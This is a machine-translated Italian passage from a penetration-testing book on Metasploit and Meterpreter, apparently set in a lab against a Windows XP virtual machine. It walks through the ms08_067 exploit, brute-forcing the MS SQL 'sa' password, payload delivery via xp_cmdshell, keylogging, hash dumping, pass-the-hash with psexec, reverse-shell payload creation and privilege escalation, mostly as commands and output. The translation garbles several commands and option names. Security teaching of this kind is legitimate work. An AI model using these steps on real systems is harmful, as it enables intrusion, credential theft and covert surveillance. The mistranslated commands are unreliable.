obiettivo => 3
msf exploit(ms08_067_netapi) > cerca porte
[*] Ricerca moduli caricati per pattern 'porte'...

Carichi compatibili
=====================

Nome Rango Descrizione


---- ---- -----------
windows/dllinject/reverse_tcp_allports normale iniezione Dll riflettente,
Stager TCP all-port inverso
windows/meterpreter/reverse_tcp_allports normale Windows Meterpreter (riflettente

Iniezione), Reverse All-Port TCP Stager

. . . SPICCHIA. . .

msf exploit(ms08_067_netapi) > imposta PAYLOAD windows/meterpreter/reverse_tcp_allports


payload => windows/meterpreter/reverse_tcp_allports
msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit in esecuzione come lavoro in background.
msf exploit(ms08_067_netapi) >

[*] Gestione inversa avviata su 192.168.33.129:1


[*] Attivazione della vulnerabilità...
[*] Fase di invio (748032 byte)

[*] Sessione Meterpreter 1 aperta (192.168.33.129:1 -> 192.168.33.130:1047)

msf exploit(ms08_067_netapi) > sessioni -l -v

Sessioni Attive
================

Tipo di identificazione Informazione


Connessione attraverso

-- ---- -----------
---------- ---
Machine Translated by Google
1 metropreter NT AUTHORITY\SYSTEM @ IHAZSECURITY 192.
168.33.129:1 -> 192.168.33.130:1047

exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > sessioni -i 1 [*] Avvio


dell'interazione con 1...

contatore >

Si noti che non impostiamo un LPORT; invece, utilizziamo allports perché proveremo a connetterci fuori
dalla rete su ciascuna porta finché non ne troviamo una aperta. Se guardi da vicino vedrai che la nostra
macchina attaccante è legata a :1 (tutte le porte) e che trova una porta in uscita sulla porta 1047 sulla rete
di destinazione.
Machine Translated by Google

File di risorse
I file di risorse sono file di script che automatizzano i comandi all'interno di msfconsole. Contengono un elenco di
comandi che vengono eseguiti da msfconsole ed eseguiti in sequenza. I file di risorse possono ridurre notevolmente i
tempi di test e sviluppo, consentendo di automatizzare molte attività ripetitive, incluso lo sfruttamento.

I file di risorse possono essere caricati da msfconsole con il comando risorsa oppure possono essere passati come
argomenti della riga di comando con l' opzione -r .

Il semplice esempio mostrato di seguito crea un file di risorse che mostra la nostra versione Metasploit e quindi carica il
plug-in suoni:

root@bt:/opt/framework3/msf3/ echo versione > risorsa.rc


root@bt:/opt/framework3/msf3/ echo carica suoni >> risorsa.rc
root@bt:/opt/framework3/msf3/ msfconsole -r risorsa.rc
risorsa (resource.rc)> versione Framework:
3.7.0-dev.12220 Console: 3.7.0-dev.12220
risorsa (resource.rc)> carica suoni [*] Plugin
caricato correttamente: suoni msf >

Come puoi vedere su e , i comandi versione e caricamento suoni vengono ripetuti in un file di testo chiamato
Resource.rc. Questo file viene quindi passato a msfconsole dalla riga di comando con l'opzione -r e quando il file inizia
a caricarsi, i comandi vengono eseguiti dal file di risorse.

Un file di risorse più complesso potrebbe eseguire automaticamente un particolare exploit su una macchina nell'ambiente
di laboratorio. Ad esempio, l'elenco seguente utilizza un exploit SMB in un file di risorse appena creato chiamato
autoexploit.rc. Impostiamo un carico utile e i nostri IP di attacco e di destinazione in questo file in modo da non dover
specificare queste opzioni manualmente quando si tenta questo exploit.
root@bt:/opt/framework3/msf3/ echo
usa exploit/windows/smb/ms08_067_netapi > autoexploit.rc root@bt:/opt/
framework3/msf3/ echo set RHOST 192.168.1.155 >> autoexploit.rc root@bt: /opt/framework3/msf3/
echo set PAYLOAD windows/meterpreter/reverse_tcp >> autoexploit.rc root@bt:/opt/framework3/
msf3/ echo set LHOST 192.168.1.101 >> autoexploit.rc root@bt:/opt/framework3 /msf3/ echo exploit
>> autoexploit.rc root@bt:/opt/framework3/msf3/ msfconsole msf > risorsa autoexploit.rc

risorsa (autoexploit.rc) > usa exploit/windows/smb/ms08_067_netapi risorsa (autoexploit.rc)>


imposta RHOST 192.168.1.155 RHOST => 192.168.1.155 risorsa (autoexploit.rc)> imposta
PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => Risorsa windows/meterpreter/
reverse_tcp (autoexploit.rc)> imposta LHOST 192.168.1.101

LHOST => 192.168.1.101


risorsa (autoexploit.rc)> exploit

[*] Gestione inversa avviata su 192.168.1.101:4444 [*] Attivazione


della vulnerabilità...
[*] Fase di invio (747008 byte)
Machine Translated
[*] Sessione by Google
Meterpreter 1 aperta (192.168.1.101:4444 -> 192.168.1.155:1033)

contatore >

Qui specifichiamo il file di risorse all'interno di msfconsole ed esegue automaticamente i nostri comandi
specificati come mostrato dall'output visualizzato in .

NOTA
Questi sono solo un paio di semplici esempi. Nel Capitolo 12 imparerai come usare karma, un file di risorse molto grande.
Machine Translated by Google
Conclusione Hai
appena sfruttato la tua prima macchina e ottenuto l'accesso completo ad essa con msfconsole.
Congratulazioni!
Abbiamo iniziato questo capitolo trattando le basi dello sfruttamento e compromettendo un obiettivo sulla base di
una vulnerabilità scoperta. Lo sfruttamento consiste nell'identificare le potenziali esposizioni di un sistema e
sfruttarne i punti deboli. Abbiamo utilizzato nmap per identificare i servizi potenzialmente vulnerabili. Da lì abbiamo
lanciato un exploit che ci ha dato l'accesso a un sistema.
Nel prossimo capitolo esploreremo Meterpreter in modo più dettagliato mentre impariamo come usarlo in post
sfruttamento. Scoprirai che Meterpreter è uno strumento straordinario una volta che hai compromesso un sistema.
Machine Translated by Google

Capitolo 6. Meterpreter
In questo capitolo ci addentreremo più a fondo in questo "coltellino svizzero dell'hacker" che può migliorare notevolmente
la tua esperienza di post sfruttamento. Meterpreter è uno dei prodotti di punta di Metasploit e lo è
sfruttato come carico utile dopo lo sfruttamento di una vulnerabilità. Un carico utile è l'informazione che ci viene restituita
quando attiviamo un exploit. Ad esempio, quando sfruttiamo un punto debole in una chiamata di procedura remota
(RPC), attivare l'exploit e selezionare Meterpreter come carico utile, ci verrebbe fornito un Meterpreter
shell al sistema. Meterpreter è un'estensione del Metasploit Framework che ci consente di farlo
sfruttare la funzionalità di Metasploit e compromettere ulteriormente il nostro obiettivo. Alcune di queste funzionalità
include modi per coprire le tue tracce, risiedere esclusivamente nella memoria, scaricare hash, accedere ai sistemi operativi,
perno e molto altro.

In questo capitolo sfrutteremo i normali metodi di attacco all'interno di Metasploit per compromettere un Windows
macchina XP. Il nostro carico utile, Meterpreter, ci consentirà di eseguire ulteriori attacchi dopo che l'abbiamo fatto
compromesso il sistema.

Compromissione di una macchina virtuale Windows XP


Prima di entrare nelle specifiche di Meterpreter, dobbiamo prima compromettere un sistema e ottenere un
Conchiglia Meterpreter.

Scansione di porte con Nmap


Iniziamo identificando i servizi e le porte in esecuzione sulla destinazione eseguendo una scansione delle porte con
nmap per trovare una porta da sfruttare, come mostrato qui:

msf > nmap -sT -A -P0 192.168.33.130


[*] esegui: nmap -sT -A -P0 192.168.33.130

. . . SPICCA. . .

PORTA SERVIZIO DI STATO VERSIONE

21/tcp apri ftp Microsoft FTP

25/tcp apri smtp Microsoft ESMTP 6.0.2600.2180

80/tcp aperto http Server Web Microsoft IIS 5.1


|_html-title: elenco directory negato
135/tcp apre msrpc Microsoft Windows RPC
139/tcp aperto netbios-ssn
445/tcp apri microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp apre msrpc Microsoft Windows RPC

1433/tcp aperto ms-sql-s 6646/ Microsoft SQL Server 2005 9.00.1399; RTM
tcp aperto sconosciuto
Indirizzo MAC: 00:0C:29:EA:26:7C (VMware)
Tipo di dispositivo: uso generale
In esecuzione: Microsoft Windows XP|2003
Dettagli del sistema operativo: Microsoft Windows XP Professional SP2 o Windows Server 2003

. . . SPICCHIA. . .

Nmap fatto: 1 indirizzo IP (1 host up) scansionato in 37,58 secondi


Machine
msf > Translated by Google

,
Dopo aver condotto la nostra scansione delle porte, vediamo che alcune porte interessanti sono accessibili, incluso MS
,
SQL a un potenziale vettore di attacco. Ma forse la cosa più interessante che ci dice nmap è che

questa macchina esegue Windows XP Service Pack 2 in cui ora è alla fine, del ciclo di vita, il che significa
alcune vulnerabilità pubblicate non saranno state corrette o corrette dall'installazione di SP3.

Da notare anche le porte FTP e SMTP standard, che potrebbero essere disponibili per essere sfruttate

per un attacco. E vediamo che la porta 80 è aperta, il che significa che abbiamo una potenziale applicazione web per
attacco.

Attaccare MS SQL
In questo esempio, attaccheremo la porta 1433, MS SQL, perché questo è spesso un punto di ingresso di debolezza che
può portare a un completo compromesso e al pieno controllo a livello amministrativo sull'obiettivo.

Per iniziare, identifichiamo l'installazione di MS SQL, quindi lanciamo un attacco di forza bruta di MS SQL Server a
vediamo se riusciamo a indovinare una password. Per impostazione predefinita, MS SQL è installato sulla porta TCP 1433 e sulla porta UDP 1434,
sebbene le versioni più recenti consentano l'installazione su una porta allocata dinamicamente, che può essere
randomizzato. Fortunatamente, la porta 1434 UDP (per la quale non abbiamo scansionato) rimane la stessa e può essere interrogata
per identificare la porta dinamica del server SQL.

Qui, eseguiamo la scansione del sistema e vediamo che la porta MS SQL 1434 UDP è aperta:

msf > nmap -sU 192.168.33.130 -p1434

Rapporto di scansione Nmap per 192.168.33.130


L'host è attivo (latenza 0,00033s).
STATO
SERVIZIO PORTUALE

1434/udp aperto ms-sql-m

Nmap fatto: 1 indirizzo IP (1 host up) scansionato in 0,46 secondi


msf >

Come puoi vedere, eseguiamo la scansione del nostro host e vediamo che la porta UDP 1434 di MS SQL è aperta. (Capitolo 11,
Il capitolo 13 e il capitolo 17 tratteranno MS SQL in modo molto più approfondito.)

Quando prendiamo di mira MS SQL, possiamo sfruttare il modulo mssql_ping per forzare la porta MS SQL e
tentare di indovinare il nome utente e la password. Quando MS SQL viene installato per la prima volta, il programma lo farà
richiedere all'utente di creare un account sa o amministratore di sistema. Sarai spesso in grado di indovinare o
forza bruta la password dell'account sa, perché quando gli amministratori installano questa applicazione non lo fanno
comprendere le conseguenze sulla sicurezza dell'utilizzo di una password vuota o di qualcosa di troppo semplice.

Nel prossimo esempio, cerchiamo il modulo mssql_ping e tentiamo di forzare brute force l'account sa:

msf> usa scanner/mssql/mssql_ping


msf ausiliario(mssql_ping) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

PAROLA D'ORDINE No La password per il nome utente specificato


ROST si si L'intervallo di indirizzi di destinazione o l'identificatore CIDR
FILI 1 Il numero di thread simultanei
Machine Translated
USERNAME a by Google No Il nome utente con cui autenticarsi

msf ausiliario (mssql_ping) > imposta RHOSTS 192.168.33.1/24


RHOSTS => 192.168.33.1/24
msf ausiliario(mssql_ping) > imposta FILETTI 20
FILI => 20
msf ausiliario(mssql_ping) > exploit

[*] Scansionato 040 host su 256 (015% completo)


[*] Scansionato 052 host su 256 (020% completo)
[*] Scansionato 080 host su 256 (031% completo)
[*] Scansionato 115 host su 256 (044% completo)

[*] Informazioni su SQL Server per 192.168.33.130:

[*] Nome del server = SICUREZZA IHAZ


[*] NomeIstanza = SQLEXPRESS
[*] è a grappolo =n

[*] Versione = 9.00.1399.06

[*] tcp = 1433


[*] es = \\IHAZSECURITY\pipe\MSSQL$SQLEXPRESS\sql\query
[*] Scansionato 129 host su 256 (050% completo)

Dopo aver chiamato il modulo mssql_ping con use scanner/mssql/mssql_ping e aver impostato le nostre opzioni,
vedere che un'installazione di SQL Server si trova in 192.168.33.130 . Il nome del server è
SICUREZZA IHAZ . Il numero di versione 9.00.1399.06 mostrato in equivale a SQL Server 2005 Express,

e sappiamo che è in ascolto sulla porta TCP 1433 .

Brute Force MS SQL Server


Successivamente, forziamo il server con il modulo mssql_login del Framework:

msf> usa scanner/mssql/mssql_login


msf ausiliario(mssql_login) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

BRUTEFORCE_SPEED 5 sì Quanto è veloce la forza bruta, da 0 a 5


PAROLA D'ORDINE No
La password per il nome utente specificato
FILE_PASS No
File contenente password, una per riga
ROST sì Il bersaglio
intervallo di indirizzi o identificatore CIDR
RAPPORTO 1433 si si La porta di destinazione
FILI 1 Il numero di thread simultanei
NOME UTENTE Su No Il nome utente con cui autenticarsi
USERPASS_FILE No File contenente utenti e password
divisi da
spazio, una coppia per riga
USER_FILE No File contenente
nomi utente, uno per riga
VERBOSE output vero per tutti i sì Se stampare
tentativi
Machine Translated by Google
msf ausiliario(mssql_login) >

set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt


PASS_FILE => /pentest/exploits/fasttrack/bin/dict/wordlist.txt
msf ausiliario(mssql_login) > imposta RHOSTS 192.168.33.130
RHOSTS => 192.168.33.130
msf ausiliario(mssql_login) > imposta FILETTI 10
FILI => 10
msf ausiliario(mssql_login) > imposta verbose false
prolisso => falso
msf ausiliario(mssql_login) > exploit

[+] 192.168.33.130:1433 - MSSQL - accesso riuscito 'sa': 'password123'


[*] Scansionato 1 host su 1 (completato al 100%)
[*] Esecuzione del modulo ausiliario completata

Selezioniamo il modulo mssql_login in e lo puntiamo all'elenco di parole password predefinito da Fast-Track


At at .password:
(Discutiamo
password123.
Fast-Track in modo più dettagliato nel Capitolo 11.) , abbiamo indovinato con successo il sa

NOTA

Fast-Track è uno strumento creato da uno degli autori di questo libro che sfrutta molteplici attacchi, exploit e Metasploit
Framework per la consegna del carico utile. Una delle caratteristiche di Fast-Track è la sua capacità di utilizzare un brute-forcer per attaccare e compromettere MS SQL
automaticamente.

xp_cmdshell
Eseguendo MS SQL dall'account sa, possiamo eseguire la stored procedure xp_cmdshell, che consente
interagiamo con il sistema operativo sottostante ed eseguiamo comandi. xp_cmdshell è un built -in
stored procedure fornita per impostazione predefinita con SQL Server. Puoi chiamare questa stored procedure e averla
interrogare ed eseguire le chiamate del sistema operativo sottostante direttamente con MS SQL. Pensalo come una specie di
prompt dei comandi del superutente che ti consente di eseguire tutto ciò che desideri sul sistema operativo. quando
otteniamo l'accesso all'account sa, scopriamo che il server MS SQL è generalmente in esecuzione con autorizzazioni
a livello di SISTEMA, il che ci consente l'accesso completo come amministratore sia a MS SQL che alla macchina
si.

Per ottenere un carico utile sul sistema, interagiamo con xp_cmdshell, aggiungeremo un amministratore locale e
consegnare il carico utile tramite un eseguibile. David Kennedy e Joshua Drake (jduck), hanno scritto a
modulo (mssql_payload) che può essere utilizzato per fornire qualsiasi payload Metasploit tramite xp_cmdshell:

msf> usa windows/mssql/mssql_payload


msf exploit(mssql_payload) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

PAROLA D'ORDINE No La password per il nome utente specificato


ARROSTO si si L'indirizzo di destinazione
RAPPORTO 1433 La porta di destinazione
NOME UTENTE Su No Il nome utente con cui autenticarsi
UseCmdStager true di ritorno No Attendi l'input dell'utente prima
dall'exploit
verboso falso No Abilita output dettagliato
Machine Translated by Google
Sfrutta l'obiettivo:

Nome identificativo
-- ----

0 Automatico

msf exploit(mssql_payload) > imposta il payload windows/meterpreter/reverse_tcp => windows/


meterpreter/reverse_tcp msf exploit(mssql_payload) > imposta LHOST 192.168.33.129 LHOST
=> 192.168.33.129 msf exploit(mssql_payload) > imposta LPORT 443 LPORT => 443 msf
exploit(mssql_payload) > imposta RHOST 192.168.33.130 RHOST => 192.168.33.130 msf
exploit(mssql_payload) > imposta PASSWORD password123 PASSWORD => password123 msf
exploit(mssql_payload) > exploit

[*] Gestione inversa avviata su 192.168.33.129:443 [*] Avanzamento


di Command Stager - 2,78% completato (1494/53679 byte)
[*] Progresso di Command Stager - 5,57% completato (2988/53679 byte)
[*] Progresso di Command Stager - 8,35% completato (4482/53679 byte)

. . . SPICCHIA. . .

[*] Progresso di Command Stager - 97,32% completato (52239/53679 byte)


[*] Fase di invio (748032 byte)
[*] Sessione Meterpreter 1 aperta (192.168.33.129:443 -> 192.168.33.130:1699)
contatore >

Dopo aver selezionato il modulo mssql_payload e aver impostato il nostro payload su meterpreter , tutto ciò di cui abbiamo bisogno
in do, impostare le opzioni standard prima di avviare la nostra sessione Meterpreter. Siamo riusciti ad aprire una
sessione Meterpreter sulla macchina di destinazione.
Per ricapitolare, nell'attacco qui descritto, abbiamo utilizzato il modulo mssql_ping per indovinare la password
MS SQL sa, che abbiamo scoperto essere password123. Abbiamo quindi sfruttato il modulo mssql_payload
per comunicare con MS SQL e caricare una shell Meterpreter tramite MS SQL, e la shell ci è stata presentata,
compromettendo così completamente il sistema. Una volta presentata la shell Meterpreter, sappiamo che
l'exploit ha avuto successo e possiamo continuare con lo sfruttamento successivo su questo sistema.

Comandi di base di Meterpreter Dopo aver


compromesso con successo il bersaglio e ottenuto una console Meterpreter sul sistema, possiamo ottenere
maggiori informazioni con alcuni comandi di base di Meterpreter. Utilizzare il comando di aiuto in qualsiasi momento
per ulteriori informazioni su come utilizzare Meterpreter.

Catturare uno screenshot Il comando


screenshot di Meterpreter esporterà un'immagine del desktop dell'utente attivo e la salverà nella directory /opt/
metasploit3/msf3/, come mostrato nella Figura 6-1.
meterpreter > screenshot
Screenshot salvato in: /opt/metasploit3/msf3/yVHXaZar.jpeg

Le acquisizioni dello schermo del desktop offrono un ottimo modo per conoscere un sistema di destinazione. Ad esempio, nella Figura 6-1,
Machine
possiamo Translated
vedere by Google
che il software antivirus McAfee è installato e in esecuzione, il che significa che dovremo esserlo
cauto su ciò che carichiamo nel sistema. (Il capitolo 7 discute l'evasione antivirus in modo più dettagliato.)

Figura 6-1. Schermata acquisita da Meterpreter

sysinfo
Un altro comando che possiamo specificare è sysinfo, che ci dirà la piattaforma su cui si trova il sistema
in esecuzione, come mostrato qui:

meterpreter > sysinfo


Computer: IHAZSECURITY
Sistema operativo: Windows XP (Build 2600, Service Pack 2).
Arco: x86
Lingua: en_US
Come puoi vedere, questo sistema esegue Windows XP Service Pack 2. Poiché SP2 è fuori uso, possiamo farlo
supponiamo di poter trovare un sacco di buchi su questo sistema.

Cattura delle sequenze di tasti


Ora prenderemo i valori hash delle password da questo sistema, che possono essere violati o utilizzati in un file
attacco. Inizieremo anche la registrazione delle sequenze di tasti (registrazione delle sequenze di tasti) sul sistema remoto. Ma prima, andiamo
elencare i processi in esecuzione sul sistema di destinazione con il comando ps .

meterpreter > ps

Elenco dei processi


=============

Nome PID Utente Arch Session Sentiero


--- ---- ---- ------- ---- ----
0 [Processo di sistema]
4 Sistema x86 0 AUTORITÀ NT\SISTEMA

. . . SPICCHIA. . .

1476 spoolsv.exe x86 0 AUTORITÀ NT\SISTEMA C:\WINDOWS\


system32\spoolsv.exe
Machine Translated by Google
1668 explorer.exe
x86 0 IHAZSECURITY\Amministratore C:\WINDOWS\
Explorer.EXE

. . . SPICCHIA. . .

4032 notepad.exe x86 0 IHAZSECURITY\Amministratore C:\WINDOWS\


system32\notepad.exe

meterpreter > migrare 1668


[*] Migrazione al 1668...
[*] Migrazione completata con successo.

meterpreter > esegui post/windows/capture/keylog_recorder


[*] Esecuzione del modulo contro V-MAC-XP
[*] Avvio dello sniffer dei tasti...
[*] Sequenza tasti salvata in /root/.msf3/loot/
20110324171334_default_192.168.1.195_host.windows.key_179703.txt
[*] Registrazione sequenze di tasti...
[*] Salvataggio degli ultimi tasti digitati...

root@bt:˜# cat /root/.msf3/loot/20110324171334_

default_192.168.1.195_host.windows.key_179703.txt
Registro tasti iniziato a Thu Mar 24 17:13:34 ÿ0600 2011

password amministratore <Indietro> <Indietro> <Indietro> <Indietro> <Indietro> <Indietro>


<Indietro> <Scheda> password123!!

L'esecuzione di ps at fornisce un elenco di processi in esecuzione, incluso explorer.exe . A rilasciamo il


comando migrate per spostare la nostra sessione nello spazio di processo explorer.exe. Una volta che la mossa è
completato, avviamo il modulo keylog_recorder e infine, , interrompendolo dopo qualche tempo con ctrl-C, e
, del del
in un'altra finestra keystroke
terminale,
logger
scarichiamo
per vedere
il contenuto
cosa
abbiamo catturato.
Machine Translated by Google
Dumping di nomi utente e password Nell'esempio precedente,
abbiamo acquisito gli hash delle password registrando ciò che un utente ha digitato. Possiamo anche
usare Meterpreter per ottenere i nomi utente e gli hash delle password su un file system locale senza l'uso
di keylogger.

Estrarre gli hash delle password In questo attacco,


sfrutteremo il modulo di post-sfruttamento hashdump in Meterpreter per estrarre gli hash di nome
utente e password dal sistema. In genere Microsoft archivia gli hash su LAN Manager (LM), NT LAN
Manager (NTLM) e NT LAN Manager v2 (NTLMv2).
Nel caso di LM, ad esempio, quando un utente inserisce una password per la prima volta o cambia una password, alla
password viene assegnato un valore hash. A seconda della lunghezza del valore hash, la password può essere suddivisa
in hash di sette caratteri. Ad esempio, se la password è password123456, il valore hash potrebbe essere archiviato
come passwor e d123456, quindi un utente malintenzionato dovrebbe semplicemente violare una password di 7 caratteri
anziché di 14 caratteri. In NTLM, indipendentemente dalla dimensione della password, password123456 verrebbe
archiviato come valore hash di password123456.

NOTA
Stiamo usando una password super complessa che non saremmo in grado di decifrare in un ragionevole lasso di tempo. La nostra
password è più grande del massimo di 14 caratteri supportato da LM, quindi si è automaticamente convertita in un valore hash basato su NTLM.
Anche con tabelle arcobaleno o una macchina per crackare super potente, ci vorrebbe molto tempo per decifrare queste
password.

Nel codice seguente, estraiamo un hash di nome utente e password per l'account utente amministratore con UID 500
(l'impostazione predefinita del sistema di amministratore di Windows). Le stringhe che seguono Administrator:500 sono
due hash della password dell'amministratore. Questo mostra un esempio di un semplice estratto di hash di nome utente
e password. A breve, estrarremo i nostri hash di nome utente e password dal nostro sistema Windows XP.

Amministratore:500:e52cac67419a9a22cbb699e2fdfcc59e

:30ef086423f916deec378aac42c4ef0c :::

Il primo hash at è un hash LM e il secondo è un hash NTLM.

Scaricare l'hash della password Sul computer di

destinazione, modificare la password in qualcosa di complesso, come


thisisacrazylongpassword&&!!@@## e utilizzare Meterpreter per scaricare nuovamente gli hash di nome utente
e password (mostrati nell'elenco di codice precedente) dal target. Sfrutteremo il comando use priv , il che significa
che stiamo eseguendo come account utente privilegiato.
Per eseguire il dump del database Security Account Manager (SAM), è necessario essere in esecuzione come
SYSTEM per aggirare le restrizioni del registro ed eseguire il dump dell'archiviazione SAM protetta che contiene i
nostri nomi utente e password di Windows, come mostrato di seguito. Prova a eseguire questo scenario su una macchina
virtuale di prova per vedere se puoi scaricare gli hash di nome utente e password. In questo elenco, eseguiamo il
comando hashdump , che scarica tutti gli hash di nomi utente e password dal sistema.

meterpreter > usa priv


Machine Translated
Caricamento by Google
estensione priv... successo.
meterpreter > esegui post/windows/gather/hashdump [*] Ottenere
la chiave di avvio...
[*] Calcolo della chiave hboot utilizzando SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Ottenere l'elenco utenti e le chiavi...
[*] Decrittografia delle chiavi utente...
[*] Dumping degli hash delle password...
Amministratore:500:aad3b435b51404eaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29:::

Un valore hash che inizia con aad3b435 è semplicemente un valore hash vuoto o nullo, un segnaposto
per una stringa vuota. (Anche qualcosa come Administrator:500:NOPASSWD:ntlmhash è nullo.) Poiché
la nostra password era più lunga di 14 caratteri, Windows non può più memorizzare un hash LM e utilizza
lo standard aad3b435 . . . string, che rappresenta una password vuota.

IL PROBLEMA CON GLI HASH LM

Solo per divertimento, prova quanto segue: Cambia la tua password con qualcosa di complesso di 14 caratteri o meno. Quindi
estrai gli hash delle password dal sistema con hashdump e copia il primo valore hash (come la parte che inizia con aad3b435
nell'esempio precedente), che è l'hash LM. Quindi, cerca uno dei tanti cracker di password online e invia il tuo valore hash. Attendi
qualche minuto, fai clic sul pulsante di aggiornamento un paio di volte e la tua password dovrebbe essere decifrata. (Attenzione a non
utilizzare una delle tue vere password, perché le informazioni vengono spesso pubblicate a tutti coloro che visitano il sito!)
Questo è un attacco da tavolo arcobaleno. Una tabella arcobaleno è una tabella precalcolata utilizzata per invertire le funzioni hash
crittografiche, di solito per decifrare le password. Le tabelle Rainbow utilizzano tutte le combinazioni di caratteri inclusi 1–7, a–z, simboli
speciali e spazi. Quando invii il tuo hash a un cracker online, il server del sito cerca in gigabyte di tabelle arcobaleno il tuo hash specifico.
Machine Translated by Google

Passa l'hash
Nell'esempio precedente, ci siamo imbattuti in una leggera complicazione: abbiamo gli hash del nome utente e della
password dell'amministratore, ma non possiamo decifrare la password in un lasso di tempo ragionevole. Se non
conosciamo la password, come possiamo accedere a macchine aggiuntive e potenzialmente compromettere più
sistemi con questo account utente?

Possiamo usare la tecnica pass-the-hash, che richiede di avere solo l'hash della password, non la password stessa. Il
modulo windows/smb/psexec di Metasploit rende tutto questo possibile, come mostrato qui:

msf> usa windows/smb/psexec msf


exploit(psexec)> imposta PAYLOAD windows/meterpreter/reverse_tcp payload => windows/
meterpreter/reverse_tcp msf exploit(psexec)> imposta LHOST 192.168.33.129 LHOST =>
192.168.33.129 msf exploit(psexec )> imposta LPORT 443

PORTO => 443


msf exploit(psexec)> imposta RHOST 192.168.33.130
ARROSTO => 192.168.33.130

. . . SPICCHIA. . .

msf exploit(psexec)> imposta SMBPass


aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c SMBPass =>
aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29 msf exploit ...

[*] Gestione inversa avviata [*]


Autenticazione come utente 'Amministratore'...
[*] Caricamento payload in corso...
[*] Creato \JsOvAFly.exe...

Dopo aver selezionato il modulo smb/psexec e impostato le opzioni per LHOST, LPORT e RHOST, abbiamo impostato
la variabile SMBPass e inserito l'hash che abbiamo scaricato in precedenza. Come puoi vedere, l'autenticazione ha esito
positivo e otteniamo la nostra sessione Meterpreter. Non abbiamo dovuto decifrare una password e non era necessaria
alcuna password. Abbiamo protetto i privilegi di amministratore utilizzando solo l'hash della password.

Quando si compromette con successo un sistema su una rete di grandi dimensioni, nella maggior parte dei casi quel
sistema avrà lo stesso account amministratore su più sistemi. Questo attacco ci consentirebbe di passare da un sistema
all'altro senza mai dover decifrare la password stessa.
Machine Translated by Google

Escalation dei privilegi Ora che

abbiamo accesso al sistema, possiamo creare un normale account utente con autorizzazioni limitate usando il comando net
user . Creeremo un nuovo account utente per dimostrare come elevare le autorizzazioni come tale utente. (Imparerai di più
su questo nel Capitolo 8.)

Quando compromettiamo un account utente limitato, ci imbattiamo in restrizioni che ci impediscono di eseguire
comandi che richiedono autorizzazioni a livello amministrativo. Aumentando le autorizzazioni di un account,
superiamo tale restrizione.

Su un computer di destinazione Windows XP, inseriamo il seguente comando:


C:\Documents and Settings\Administrator>net user bob password123 /add.

Successivamente, creiamo un payload basato su Meterpreter, payload.exe, lo copiamo sulla macchina XP di destinazione
ed eseguiamolo sotto l'account utente bob. Questo sarà il nostro nuovo account utente limitato. In questo esempio, useremo
msfpayload per creare un payload basato su Meterpreter come un normale eseguibile di Windows. (Discuteremo msfpayload
in modo più dettagliato nel Capitolo 7.)
root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.33.129 LPORT=443 X > payload.exe
root@bt:/opt/framework3/msf3# msfcli multi/handler
PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.33.129 LPORT=443 E [*]
Attendere mentre carichiamo l'albero dei moduli...
[*] Avviato il gestore inverso il 192.168.33.129:443 [*] Avvia il
gestore del carico utile...
[*] Fase di invio (748032 byte)
[*] Sessione Meterpreter 1 aperta (192.168.33.129:443 -> 192.168.33.130:1056)
meterpreter> testimone
Nome utente del server: IHAZSECURITY\bob

Le opzioni LHOST e LPORT dicono a Metasploit che quando crea il nostro payload Meterpreter dovrebbe riconnettersi
alla nostra macchina attaccante sulla porta 443. Quindi chiamiamo l'interfaccia msfcli per avviare un gestore listener per
noi. Questo gestore listener attende le connessioni e, quando ne viene ricevuta una, genererà una shell Meterpreter.

Sulla macchina dell'attaccante, creiamo un nuovo eseguibile autonomo Meterpreter in eseguibile , copia il
sulla macchina Windows XP e lo eseguiamo sotto l'account utente bob.

Quindi configuriamo un listener per ascoltare la connessione Meterpreter. Dopo che il target ha eseguito il payload sul
. Possiamo,
sistema (payload.exe), vediamo un esempio di console Meterpreter per utenti limitati, genera un payload.exe per
su una
macchina Back|Track, copia l'eseguibile su una macchina Windows XP e imposta un listener per ottenere una sessione
Meterpreter.

Come mostrato nel prossimo elenco, scendiamo a una shell Meterpreter e inseriamo net user bob; possiamo vedere che
l'utente bob è un membro del gruppo Utenti, non è un amministratore e ha diritti limitati. Abbiamo un footprint limitato da cui
attaccare questo dispositivo e non possiamo eseguire determinati attacchi, come il dump del database SAM per estrarre
nomi utente e password. (Fortunatamente, Meterpreter ci copre, come vedrai tra un momento.) Completata la nostra query,
premiamo ctrl-Z, che salva la nostra sessione Meterpreter e ci mantiene nel sistema sfruttato.
Machine Translated by Google
meterpreter > shell
Processo 2896 creato.
Canale 1 creato.
Microsoft Windows XP [versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>net utente bob

. . . SPICCHIA. . .

Appartenenze a gruppi locali *Utenti


Appartenenze a gruppi globali Il *Nessuno

comando è stato completato correttamente.


C:\>^Z
Canale in background 1? [s/n] a

NOTA
Ecco un altro trucco di Meterpreter: mentre sei nella console di Meterpreter, entra in background per tornare a msfconsole e
lasciare la sessione in esecuzione. Quindi inserisci sessioni -l e sessioni -isessionid per tornare alla tua console Meterpreter.

Ora otteniamo i diritti amministrativi o di SISTEMA. Come mostrato nell'elenco successivo, inseriamo use priv per
caricare le estensioni priv, che ci danno accesso al modulo privilegiato (che potrebbe essere già caricato).
Successivamente, entriamo in getsystem nel tentativo di elevare il nostro privilegio a quello di sistema locale o
amministratore. Verifichiamo quindi di disporre dei privilegi di amministratore con il comando getuid . Il nome utente
del server restituito è NT AUTHORITY\SYSTEM, che ci dice che siamo riusciti a ottenere l'accesso come
amministratore.

meterpreter > usa priv


Caricamento estensione priv...successo.
meterpreter > getsystem ...got system (tramite
la tecnica 4). meterpreter > getuid Nome
utente del server: NT AUTHORITY\SYSTEM

